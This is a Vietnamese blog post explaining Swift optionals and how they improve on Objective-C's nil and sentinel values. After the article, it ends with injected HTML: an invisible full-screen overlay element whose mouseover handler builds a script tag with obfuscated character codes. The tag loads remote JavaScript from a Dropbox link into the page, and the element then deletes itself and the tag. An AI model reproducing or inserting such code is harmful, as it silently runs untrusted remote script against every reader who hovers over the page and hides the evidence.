12/08/2018, 13:33

Ý nghĩa của optional trong swift

Tôi là một lập trình viên với 3 năm kinh nghiệm cũng đã từng là technical leader và trainner. Trong quá trình review source và training cho nhân sự mới thì một trong nhưng lỗi hay gặp nhất của một lập trình viên còn ít kinh nghiệm là : Không kiểm tra sự tồn tại giá trị của biến trước khi sử dụng. ...

Tôi là một lập trình viên với 3 năm kinh nghiệm cũng đã từng là technical leader và trainner. Trong quá trình review source và training cho nhân sự mới thì một trong nhưng lỗi hay gặp nhất của một lập trình viên còn ít kinh nghiệm là : Không kiểm tra sự tồn tại giá trị của biến trước khi sử dụng. Thậm chí ngay cả lập trình viên nhiều kinh nghiệm cũng có lúc quên hoặc ngại kiểm tra sự tồn tại giá trị của biến. Việc này thường xuyên diễn ra mà tôi không có cách nào để cải thiện ngoại trừ việc khi review source code thì tôi nhắc nhở. Cho đến khi ngôn ngữ swift ra đời với khái niệm optional khiến tôi cảm thấy đây thực sự là một ngôn ngữ tuyệt vời.

**Thế nào là optional **

Khái niệm optional không tồn tại trong C hoặc objective-C. Điều gần nhất trong objective-C là khả năng trả về nil từ một hàm mà kiểu trả về là một object, với giá trị trả về là nil có nghĩa là không tồn tại đối tượng hợp lệ. Tuy nhiên, nó chỉ có đối với object, còn structrures, và các kiểu biến khác thì không. Đối với những kiểu này thì hàm trong objective-C trả về một giá trị đặc biệt (ví dụ như NSNotFound) để thể hiện sự không tồn tại giá trị. Cách tiếp cận này buộc người sử dụng phải biết đến giá trị đặc biệt này để nhớ kiểm tra trường hợp không tồn tại giá trị. Swift cho phép chỉ ra trạng thái không có giá trị ở tất cả các kiểu biến mà không cần đến một giá trị đặc biệt. Khái niệm này chính là optional.

**Ý nghĩa của optional **

Khái niệm optional khiến cho việc khai báo và sử dụng biến trở nên rất rõ ràng. Đối với kiểu khai báo bình thường thì biến chắc chắn là có giá trị giúp bạn giảm thiểu số lần kiểm tra sự tồn tại giá trị của biến xuống nhiều so với objective-C (Tôi rất thích điều này).

Còn với biến optional khiến cho việc kiểm tra trạng thái không tồn tại giá trị của biến trở nên dễ dàng và không bị bỏ xót với ngay cả những lập trình viên mới, có lẽ vì vậy mà swift được gọi là safe language. Khi sử dụng ontional thì bạn phải unwrap ( Forced Unwrapping, Optional Chaining, Optional Binding, Implicitly Unwrapped Optional Type ) nó trước khi bạn có thể lấy được giá trị. Việc unwrap trước khi lấy được giá trị bạn cần sẽ khiến bạn phải suy xét đến trường hợp biến không có giá trị và tất nhiên bạn sẽ ít bỏ sót lỗi không có giá trị hơn.

**Khi nào thì sử dụng biến optional **

Bạn chỉ nên sử dụng với biến mà từ khi nó được khai báo đến khi kết thúc có tồn tại trạng thái không có giá trị. Tất nhiên bạn hoàn toàn có thể sử dụng optional ở bất kỳ nới nào bạn muốn nhưng điều này là không nên vì nó sẽ khiến bạn phải unwrap ở những nơi hoàn toàn không cần thiết phải làm vậy.

**Cách sử dụng optional **

Bạn có thể tham khảo bài viết sau Swift Optional Type

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">
0